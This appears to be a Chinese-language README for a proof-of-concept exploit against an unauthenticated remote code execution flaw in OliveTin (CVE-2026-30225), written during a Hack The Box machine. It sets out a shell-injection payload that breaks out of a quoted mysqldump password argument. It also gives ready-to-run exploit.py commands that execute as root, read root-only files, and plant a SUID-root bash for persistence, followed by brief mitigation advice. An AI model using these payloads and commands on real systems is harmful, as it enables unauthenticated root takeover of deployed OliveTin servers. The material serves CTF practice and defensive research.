OliveTin 未认证 RCE(CVE-2026-30225)的概念验证漏洞利用,通过不安全的访客默认设置和未经验证的参数类型,可在易受攻击的实例上获取 root shell。
针对以出厂 guest 默认配置运行的 OliveTin 实例的提权 / 远程代码执行 PoC。已在 以 root 身份运行的 OliveTin 3000.10.0(HTB: Enigma)上验证,可获取未认证的 root shell。
⚠️ 仅限授权测试。 发布目的为教育、CTF 练习与防御性研究。针对非您所有或未经明确书面许可的系统使用本工具属违法行为。不提供任何担保。参见 LICENSE。
OliveTin 的示例 / 默认配置包含:
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }
在此配置下,未认证调用者(WhoAmI → "guest")可调用 StartActionAndWait 并执行任意操作。操作以 OliveTin 进程用户身份执行——通常为 root。
internal/executor/arguments.go → TypeSafetyCheck():
case "password": return nil
case "raw_string_multiline": return nil
case "checkbox": return nil
这些类型完全不进行验证。任何 shell: 模板中插值此类参数的操作都是 shell 注入点。在 Enigma 上,实际的 /etc/OliveTin/config.yaml 包含:
- id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- { name: db_user, type: ascii_identifier }
- { name: db_pass, type: password } # <-- 未验证,位于 -p'...' 内部
- { name: db_name, type: ascii_identifier }
db_pass = x'; <cmd>; echo __OT_DONE__ # 会闭合 -p'…' 引号,串联执行 <cmd>,并以 # 注释掉末尾的 ' <db_name> > /opt/backups/backup.sql。
A + B 针对以 root 运行的 OliveTin = 以 root 身份进行未认证 RCE。
RestartAction 认证上下文丢失RestartAction 重建内部请求时不携带调用者的认证头 / Cookie,因此重新执行时始终解析为 guest 用户(当 guest 权限高于调用者时构成 ACL 绕过)。已在 3000.11.1 中修复。
在 ≤ 3000.10.x 的构建版本中,该处理器还处于半实现状态(// FIXME),会转发空的 BindingId,因此仅返回 action with ID "" not found,无法重新执行任何操作。test-restart 可报告目标实际行为。在 Enigma 上此路径为无效操作——A + B 才是实现代码执行的关键。
requests — pip install -r requirements.txt127.0.0.1:1337;必要时进行隧道 / 跳板——在 Enigma 上仅 uid 1000 可访问该端口)。./exploit.py -u http://127.0.0.1:1337 <mode>
modes:
check 身份、操作列表、可注入参数、CVE-2026-30225 状态
test-restart 仅探测 RestartAction 行为
exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']
global:
--cookie 'olivetin-sid-local=...' 以已认证的本地用户身份操作(可选)
# 侦察
./exploit.py -u http://127.0.0.1:1337 check
# HTB Enigma:以 root 身份执行命令
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'
# 放置 SUID-root bash 以获得持久 shell
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
# 然后执行: /tmp/rb -p
StartActionAndWait 会在 logEntry.output 中返回命令的 stdout,因此输出(flag、uid=0(root) 等)会直接回显在响应中。
check 会列出所有可见操作,并标记参数使用无验证类型的操作。选择一个,分析该参数在其 shell: 字符串中的引用方式(--quote single|double|none),然后执行 exploit --inject <arg> --cmd '<payload>'。未在任何仪表板上显示的操作仍可通过 ID 运行(--action <id>)。
authRequireGuestsToLogin: true,并从 guest / 默认权限中移除 exec;为每个 ACL 授予其所需的最小权限。user:)。type 为何;避免将参数插值到 shell: 字符串中——优先使用 exec: argv 形式,并严格进行引用与验证。RestartAction 以 guest 身份执行操作internal/executor/arguments.go(TypeSafetyCheck)、internal/api/api.go(RestartAction、StartAction)在攻克 HTB: Enigma(www-data → haris → OliveTin → root)过程中完成的研究与 PoC。